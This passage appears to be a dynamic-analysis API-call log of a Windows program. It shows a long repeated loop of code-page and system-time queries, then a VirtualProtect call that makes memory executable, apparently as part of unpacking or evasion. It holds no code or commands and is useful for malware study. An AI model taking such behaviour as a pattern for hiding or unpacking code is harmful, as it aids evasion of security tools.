lpCPInfo=0x18fa10) returned 1 [0047.644] GetACP () returned 0x4e4 [0047.644] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.644] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.644] GetACP () returned 0x4e4 [0047.644] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.644] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.644] GetACP () returned 0x4e4 [0047.644] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.644] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.644] GetACP () returned 0x4e4 [0047.644] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.644] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.644] GetACP () returned 0x4e4 [0047.644] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.645] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.645] GetACP () returned 0x4e4 [0047.645] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.645] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.645] GetACP () returned 0x4e4 [0047.645] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.645] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.645] GetACP () returned 0x4e4 [0047.645] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.645] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.645] GetACP () returned 0x4e4 [0047.645] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.645] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.645] GetACP () returned 0x4e4 [0047.645] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.645] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.645] GetACP () returned 0x4e4 [0047.645] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.645] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.645] GetACP () returned 0x4e4 [0047.645] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.645] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.645] GetACP () returned 0x4e4 [0047.645] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.645] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.645] GetACP () returned 0x4e4 [0047.645] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.646] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.646] GetACP () returned 0x4e4 [0047.646] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.646] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.646] GetACP () returned 0x4e4 [0047.646] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.646] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.646] GetACP () returned 0x4e4 [0047.646] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.646] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.646] GetACP () returned 0x4e4 [0047.646] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.646] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.646] GetACP () returned 0x4e4 [0047.646] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.646] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.646] GetACP () returned 0x4e4 [0047.646] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.646] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.646] GetACP () returned 0x4e4 [0047.646] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.646] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.646] GetACP () returned 0x4e4 [0047.646] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.646] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.646] GetACP () returned 0x4e4 [0047.646] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.647] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.647] GetACP () returned 0x4e4 [0047.647] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.647] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.647] GetACP () returned 0x4e4 [0047.647] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.647] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.647] GetACP () returned 0x4e4 [0047.647] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.647] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.647] GetACP () returned 0x4e4 [0047.647] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.647] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.647] GetACP () returned 0x4e4 [0047.647] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.647] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.647] GetACP () returned 0x4e4 [0047.647] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.647] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.647] GetACP () returned 0x4e4 [0047.647] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.647] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.648] GetACP () returned 0x4e4 [0047.648] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.648] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.648] GetACP () returned 0x4e4 [0047.648] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.648] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.648] GetACP () returned 0x4e4 [0047.648] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.648] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.648] GetACP () returned 0x4e4 [0047.648] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.648] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.648] GetACP () returned 0x4e4 [0047.648] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.648] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.648] GetACP () returned 0x4e4 [0047.648] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.648] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.648] GetACP () returned 0x4e4 [0047.648] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.648] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.648] GetACP () returned 0x4e4 [0047.648] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.648] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.648] GetACP () returned 0x4e4 [0047.648] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.648] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.649] GetACP () returned 0x4e4 [0047.649] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.649] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.649] GetACP () returned 0x4e4 [0047.649] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.649] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.649] GetACP () returned 0x4e4 [0047.649] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.649] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.649] GetACP () returned 0x4e4 [0047.649] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.649] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.649] GetACP () returned 0x4e4 [0047.649] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.649] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.649] GetACP () returned 0x4e4 [0047.649] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.649] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.649] GetACP () returned 0x4e4 [0047.649] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.649] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.649] GetACP () returned 0x4e4 [0047.649] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.649] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.649] GetACP () returned 0x4e4 [0047.649] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.649] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.650] GetACP () returned 0x4e4 [0047.650] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.650] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.650] GetACP () returned 0x4e4 [0047.650] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.650] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.650] GetACP () returned 0x4e4 [0047.650] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.650] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.650] GetACP () returned 0x4e4 [0047.650] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.650] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.650] GetACP () returned 0x4e4 [0047.650] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.650] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.650] GetACP () returned 0x4e4 [0047.650] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.650] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.650] GetACP () returned 0x4e4 [0047.650] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.650] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.650] GetACP () returned 0x4e4 [0047.650] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.650] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.650] GetACP () returned 0x4e4 [0047.650] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.650] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.651] GetACP () returned 0x4e4 [0047.651] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.651] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.651] GetACP () returned 0x4e4 [0047.651] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.651] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.651] GetACP () returned 0x4e4 [0047.651] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.651] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.651] GetACP () returned 0x4e4 [0047.651] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.651] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.651] GetACP () returned 0x4e4 [0047.651] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.651] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.651] GetACP () returned 0x4e4 [0047.651] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.651] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.651] GetACP () returned 0x4e4 [0047.651] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.651] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.651] GetACP () returned 0x4e4 [0047.651] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.651] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.651] GetACP () returned 0x4e4 [0047.651] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.652] GetACP () returned 0x4e4 [0047.652] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.652] GetACP () returned 0x4e4 [0047.652] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.652] GetACP () returned 0x4e4 [0047.652] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.652] GetACP () returned 0x4e4 [0047.652] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.652] GetACP () returned 0x4e4 [0047.652] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.652] GetACP () returned 0x4e4 [0047.652] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.652] GetACP () returned 0x4e4 [0047.652] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.652] GetACP () returned 0x4e4 [0047.652] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.652] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.652] GetACP () returned 0x4e4 [0047.652] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.653] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.653] GetACP () returned 0x4e4 [0047.762] VirtualProtect (in: lpAddress=0x295ab8, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0047.763] AddAtomA (lpString=0x0) returned 0x0 [0047.763] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0047.763] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0047.764] AddAtomA (lpString=0x0) returned 0x0 